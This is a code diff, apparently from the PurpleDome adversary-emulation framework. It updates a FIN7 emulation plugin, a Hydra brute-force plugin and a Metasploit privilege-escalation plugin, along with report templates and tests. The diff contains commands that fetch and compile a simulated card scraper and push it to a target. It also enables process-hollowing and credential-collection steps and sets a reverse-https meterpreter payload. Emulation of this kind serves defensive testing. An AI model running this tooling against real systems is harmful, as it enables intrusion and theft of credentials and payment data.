Simulated credit card scraper - self.attacker_machine_plugin.remote_run("cd tool_factory/step_10; rm pillowMint.exe") + + filename = "pillowMint.exe" + dl_uri = "https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/pillowMint.cpp" + logid = self.attack_logger.start_build( + filename=filename, + for_step=10, + dl_uri=dl_uri, + comment="This is a simulated credit card data scraper.") + self.attacker_machine_plugin.remote_run(f"cd tool_factory/step_10; rm {filename}") self.attacker_machine_plugin.remote_run( - "cd tool_factory/step_10; rm pillowMint.cpp; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/pillowMint.cpp") + f"cd tool_factory/step_10; rm pillowMint.cpp; wget {dl_uri}") self.attacker_machine_plugin.remote_run( - "cd tool_factory/step_10; x86_64-w64-mingw32-g++ -static pillowMint.cpp -o pillowMint.exe") - self.attacker_machine_plugin.get("tool_factory/step_10/pillowMint.exe", + f"cd tool_factory/step_10; x86_64-w64-mingw32-g++ -static pillowMint.cpp -o {filename}") + self.attacker_machine_plugin.get(f"tool_factory/step_10/{filename}", os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", - "pillowMint.exe")) + filename)) - accounting = self.get_target_by_name("accounting") - accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "pillowMint.exe"), - "pillowMint.exe") - accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "AccountingIQ.exe"), - "AccountingIQ.exe") + accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", filename), + filename) + self.attack_logger.stop_build(logid=logid) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}Step 10 compiling tools{CommandlineColors.ENDC}", 1) @@ -524,6 +782,17 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 10 (target: accounting): Steal Payment Data{CommandlineColors.ENDC}", 1) + self.attack_logger.start_narration( + "Step 10 (target accounting): Steal Payment Data\n----------------------------") + self.attack_logger.start_narration(""" +NOT IMPLEMENTED YET. NEEDS TARGET REBOOTING: NO IDEA IF ATTACKX CAN SUPPORT THAT + +* Machine is rebooted +* shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/ +* AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2 +* debug.exe(pillowMint.exe) is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/ +* send 7za.exe to target. Zip stolen data, exfiltrate +""") # This is meterpreter ! @@ -567,7 +836,7 @@ class FIN7Plugin(AttackPlugin): # Those build calls will be called from the steps directly. But it is always conveniet for testing to use that now directly while developing # Building the tools is temporarily de-activated. Without the proper environment the tools being built are useless. Many attacks run on temporary attacks - if False: + if True: self.build_step4() # DONE self.build_step6() # DONE # TODO: self.build_step7() # Will not be done until the environment is planned. This step needs Aloha Command Center on the target. Maybe we write our own vulnerable app.... @@ -576,15 +845,15 @@ class FIN7Plugin(AttackPlugin): self.build_step10() # DONE - # self.step1() - # self.step2() + self.step1() + self.step2() self.step3() # DONE and works self.step4() # PARTIAL - with a hack. Needs compilation of babymetal: Needs a powershell to execute on the build system. And this one needs system access self.step5() # DONE and quite ok - # self.step6() # Hollow.exe has to be generated - # self.step7() # Will need compilation of an attack tool Boostwrite - # self.step8() # Migration and credential collection, on itadmin - # self.step9() # on accounting, shim persistence bin329.tmp needs to be generated - # self.step10() # on accounting, AccountingIQ.c needs compilation. But just once. + self.step6() # Hollow.exe has to be generated + self.step7() # Will need compilation of an attack tool Boostwrite + self.step8() # Migration and credential collection, on itadmin + self.step9() # on accounting, shim persistence bin329.tmp needs to be generated + self.step10() # on accounting, AccountingIQ.c needs compilation. But just once. return "" diff --git a/plugins/default/kali/hydra/hydra_plugin.py b/plugins/default/kali/hydra/hydra_plugin.py index 5259bf6..f34442a 100644 --- a/plugins/default/kali/hydra/hydra_plugin.py +++ b/plugins/default/kali/hydra/hydra_plugin.py @@ -11,6 +11,8 @@ class HydraPlugin(AttackPlugin): name = "hydra" description = "A plugin controlling the hydra brute forcing tool" ttp = "T1110" + tactics_id = "T1110.003" + tactics = "Credential access" references = ["https://attack.mitre.org/techniques/T1110/"] required_files_attacker = ["passwords.txt", "users.txt"] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share @@ -27,6 +29,7 @@ class HydraPlugin(AttackPlugin): # Set defaults if not present in config playground = self.attacker_machine_plugin.get_playground() + total_res = "" # Generate command cmd = f"cd {playground};" @@ -34,7 +37,24 @@ class HydraPlugin(AttackPlugin): for t in targets: for p in self.conf['protocols']: cmd += f"hydra -L {self.conf['userfile']} -P {self.conf['pwdfile']} {p}://{t.get_ip()};" - - res = self.attacker_run_cmd(cmd) or "" - - return res + logid = self.attack_logger.start_kali_attack(source=self.attacker_machine_plugin.get_ip(), + target=t.get_ip(), + attack_name=self.name, + ttp=self.ttp, + name="Hydra brute force", + tactics=self.tactics, + tactics_id=self.tactics_id, + description="Hydra can brute force accounts/passwords for different protocols", + situation_description=f"Hydra attack on {t.get_ip()}, protocol: {p}", + countermeasure="Statistics at the firewall. Close connections with too many failed connection attempts.", + kali_command=cmd + ) + res = self.attacker_run_cmd(cmd) or "" + total_res += res + self.attack_logger.stop_kali_attack(source=self.attacker_machine_plugin.get_ip(), + target=t.get_ip(), + attack_name=self.name, + ttp=self.ttp, + logid=logid) + + return total_res diff --git a/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py b/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py index c4eb5b7..8fa6687 100644 --- a/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py +++ b/plugins/default/metasploit_attacks/metasploit_getsystem/metasploit_getsystem.py @@ -26,8 +26,9 @@ class MetasploitGetsystemPlugin(AttackPlugin): @param targets: A list of targets, ip addresses will do """ + self.attack_logger.start_narration("A metasploit command like that is used to get system privileges for the next attack step.") res = "" - payload_type = "windows/x64/meterpreter/reverse_https" + payload_type = "windows/meterpreter/reverse_https" payload_name = "babymetal.exe" target = self.targets[0] @@ -38,6 +39,9 @@ class MetasploitGetsystemPlugin(AttackPlugin): metasploit.smart_infect(target, payload_type, payload_name, ) - metasploit.getsystem(target) + metasploit.getsystem(target, + situation_description="This is an example standalone attack step. In real world attacks there would be events before and after", + countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection." + ) return res diff --git a/requirements.txt b/requirements.txt index 14e4c13..648e431 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,3 +13,9 @@ sphinxcontrib.asciinema==0.3.2 paramiko==2.7.2 pymetasploit3==1.0.3 pylint + +# Mypy stuff +mypy +types-PyYAML +types-requests +types-simplejson \ No newline at end of file diff --git a/templates/attack_description.rst b/templates/attack_description.rst new file mode 100644 index 0000000..65db52a --- /dev/null +++ b/templates/attack_description.rst @@ -0,0 +1,120 @@ +Attack +====== + +Target systems +-------------- + +Attack steps +------------ +{% for e in events %} + {% if e.event is eq("start") %} + {% if e.type is eq("dropping_file") %} + Dropping file to target + ~~~~~~~~~~~~~~~~~~~~~~~ + At {{ e.timestamp }} + The file {{ e.file_name }} is dropped to the target {{ e.target }}. + {% endif %} + {% if e.type is eq("execute_payload") %} + Executing payload on target + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + At {{ e.timestamp }} + The command {{ e.command }} is used to start a file on the target {{ e.target }}. + {% endif %} + {% if e.type is eq("narration") %} + {{ e.text }} + {% endif %} + {% if e.sub_type is eq("metasploit") %} + Metasploit attack {{ e.name }} + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + Tactics: {{ e.tactics }} + Tactics ID: {{ e.tactics_id }} + Hunting Tag: {{ e.hunting_tag}} + At {{ e.timestamp }} a Metasploit command {{ e.name }} was used to attack {{ e.target }} from {{ e.source }}. + {{ e.description }} + {% if e.metasploit_command is string() %} + Metasploit command: {{ e.metasploit_command }} + {% endif %} + {% if e.situation_description is string() %} + Situation: {{ e.situation_description }} + {% endif %} + {% if e.countermeasure is string() %} + Countermeasure: {{ e.countermeasure }} + {% endif %} + {% endif %} + {% if e.sub_type is eq("kali") %} + Kali attack {{ e.name }} + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + Tactics: {{ e.tactics }} + Tactics ID: {{ e.tactics_id }} + Hunting Tag: {{ e.hunting_tag}} + At {{ e.timestamp }} a Kali command {{ e.kali_name }} was used to attack {{ e.target }} from {{ e.source }}. + {{ e.description }} + {% if e.kali_command is string() %} + Kali command: {{ e.kali_command }} + {% endif %} + {% if e.situation_description is string() %} + Situation: {{ e.situation_description }} + {% endif %} + {% if e.countermeasure is string() %} + Countermeasure: {{ e.countermeasure }} + {% endif %} + {% endif %} + {% if e.sub_type is eq("caldera") %} + Caldera attack {{ e.name }} + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + Tactics: {{ e.tactics }} + Tactics ID: {{ e.tactics_id }} + Hunting Tag: {{ e.hunting_tag}} + At {{ e.timestamp }} a Caldera ability {{ e.ability_id }}/"{{ e.name }}" was used to attack the group {{ e.target_group }} from {{ e.source }}. + {{ e.description }} + {% if e.situation_description is string() %} + Situation: {{ e.situation_description }} + {% endif %} + {% if e.countermeasure is string() %} + Countermeasure: {{ e.countermeasure }} + {% endif %} + {% endif %} + {% endif %} {# event equal start #} +{% endfor %} + + +Tools +----- +{% for e in events %} + {% if e.event is eq("start") %} + {% if e.type is eq("build") %} + Building tool {{ e.filename }} + ~~~~~~~~~~~~~~~~~~~~~~~ + The file {{ e.filename }} is built + {% if e.for_step %} + It will be used in Step {{ e.for_step }} + {% endif %} + Build time is between {{ e.timestamp }} and {{ e.timestamp_end }} + {% if e.dl_uri is string() %} + Built from source downloaded from {{ e.dl_uri }} + {% endif %} + {% if e.dl_uris %} + Built from sources downloaded from + {% for i in e.dl_uris %} + * {{ i }} + {% endfor %} + {% endif %} + {% if e.payload is string() %} + The attack tool uses a Meterpreter payload. The payload is {{ e.payload }}. The payload is built for the {{ e.platform }} platform and the {{ e.architecture }} architecture. + The settings for lhost and lport are {{ e.lhost }}/{{ e.lport }}. + {% endif %} + {% if e.encoding is string() %} + The file was encoded using {{ e.encoding }} after compilation. + {% endif %} + {% if e.encoded_filename is string() %} + The encoded version is named {{ e.encoded_filename }}. + {% endif %} + {% if e.SRDI_conversion %} + The attack tool was converted to position independent shellcode. See: https://github.com/monoxgas/sRDI + {% endif %} + {{ e.comment }} + {% endif %} + {% endif %} + +{% endfor %} + diff --git a/tests/test_attack_log.py b/tests/test_attack_log.py index d8889ab..b124834 100644 --- a/tests/test_attack_log.py +++ b/tests/test_attack_log.py @@ -41,7 +41,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "caldera") + self.assertEqual(data[0]["sub_type"], "caldera") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target_paw"], paw) self.assertEqual(data[0]["target_group"], group) @@ -71,7 +71,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "caldera") + self.assertEqual(data[0]["sub_type"], "caldera") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target_paw"], paw) self.assertEqual(data[0]["target_group"], group) @@ -95,7 +95,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "kali") + self.assertEqual(data[0]["sub_type"], "kali") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["kali_name"], attack_name) @@ -116,7 +116,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "kali") + self.assertEqual(data[0]["sub_type"], "kali") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["kali_name"], attack_name) @@ -137,7 +137,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "metasploit") + self.assertEqual(data[0]["sub_type"], "metasploit") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["metasploit_command"], attack_name) @@ -158,7 +158,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "metasploit") + self.assertEqual(data[0]["sub_type"], "metasploit") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["metasploit_command"], attack_name) @@ -179,7 +179,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "attack_plugin") + self.assertEqual(data[0]["sub_type"], "attack_plugin") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["plugin_name"], attack_name) @@ -200,7 +200,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "attack") - self.assertEqual(data[0]["sub-type"], "attack_plugin") + self.assertEqual(data[0]["sub_type"], "attack_plugin") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["plugin_name"], attack_name) @@ -219,7 +219,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "dropping_file") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["file_name"], file_name) @@ -237,7 +237,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "dropping_file") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["file_name"], file_name) @@ -255,7 +255,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "start") self.assertEqual(data[0]["type"], "execute_payload") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["command"], command) @@ -273,7 +273,7 @@ class TestMachineConfig(unittest.TestCase): data = al.get_dict() self.assertEqual(data[0]["event"], "stop") self.assertEqual(data[0]["type"], "execute_payload") - self.assertEqual(data[0]["sub-type"], "by PurpleDome") + self.assertEqual(data[0]["sub_type"], "by PurpleDome") self.assertEqual(data[0]["source"], source) self.assertEqual(data[0]["target"], target) self.assertEqual(data[0]["command"], command) diff --git a/tests/test_config.py b/tests/test_config.py index 9c13028..f6f3947 100644 --- a/tests/test_config.py +++ b/tests/test_config.py @@ -187,14 +187,15 @@ class TestMachineConfig(unittest.TestCase): def test_missing_vmip(self): """ Testing if missing vm ip is handled""" + vm_name = "target1" mc = MachineConfig({"root": "systems/attacker1", "os": "linux", "vm_controller": { "type": "vagrant", "vagrantfilepath": "systems", }, - "vm_name": "target1"}) - self.assertEqual(mc.vm_ip(), None) + "vm_name": vm_name}) + self.assertEqual(mc.vm_ip(), vm_name) def test_machinepath(self): """ Testing machinepath setting """ diff --git a/tests/test_metasploit.py b/tests/test_metasploit.py new file mode 100644 index 0000000..e69de29 diff --git a/tools/human_readable_documentation/conf.py b/tools/human_readable_documentation/conf.py new file mode 100644 index 0000000..5b3404c --- /dev/null +++ b/tools/human_readable_documentation/conf.py @@ -0,0 +1,46 @@ +# Configuration file for the Sphinx documentation builder. +# +# This file only contains a selection of the most common options. For a full +# list see the documentation: +# https://www.sphinx-doc.org/en/master/usage/configuration.html + +# -- Path setup -------------------------------------------------------------- + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +# +# import os +# import sys + + +# -- Project information ----------------------------------------------------- + +project = 'PurpleDome Simulation' +copyright = '2021, Avast' +author = 'Thorsten Sick' + + +# -- General configuration --------------------------------------------------- + + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +# This pattern also affects html_static_path and html_extra_path. +exclude_patterns = [] + + +# -- Options for HTML output ------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +# +html_theme = 'haiku' + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['_static'] diff --git a/tools/shipit.py b/tools/shipit.py index 639661c..871f5e5 100755 --- a/tools/shipit.py +++ b/tools/shipit.py @@ -49,10 +49,12 @@ globs = ["TODO.md", "plugins/default/*/*/*.reg", "plugins/avast_internal_plugins/*/*/*.py", "plugins/avast_internal_plugins/*/*/*.bat", + "plugins/avast_internal_plugins/*/*/*.ps1", "plugins/avast_internal_plugins/*/*/*.txt", "plugins/avast_internal_plugins/*/*/*.md", "plugins/avast_internal_plugins/*/*/*.yaml", "plugins/avast_internal_plugins/*/*/*.exe", + "plugins/avast_internal_plugins/*/*/*.com", "plugins/avast_internal_plugins/*/*/*.dll", "plugins/avast_internal_plugins/*/*/*.dll_*", "plugins/avast_internal_plugins/*/*/*.reg",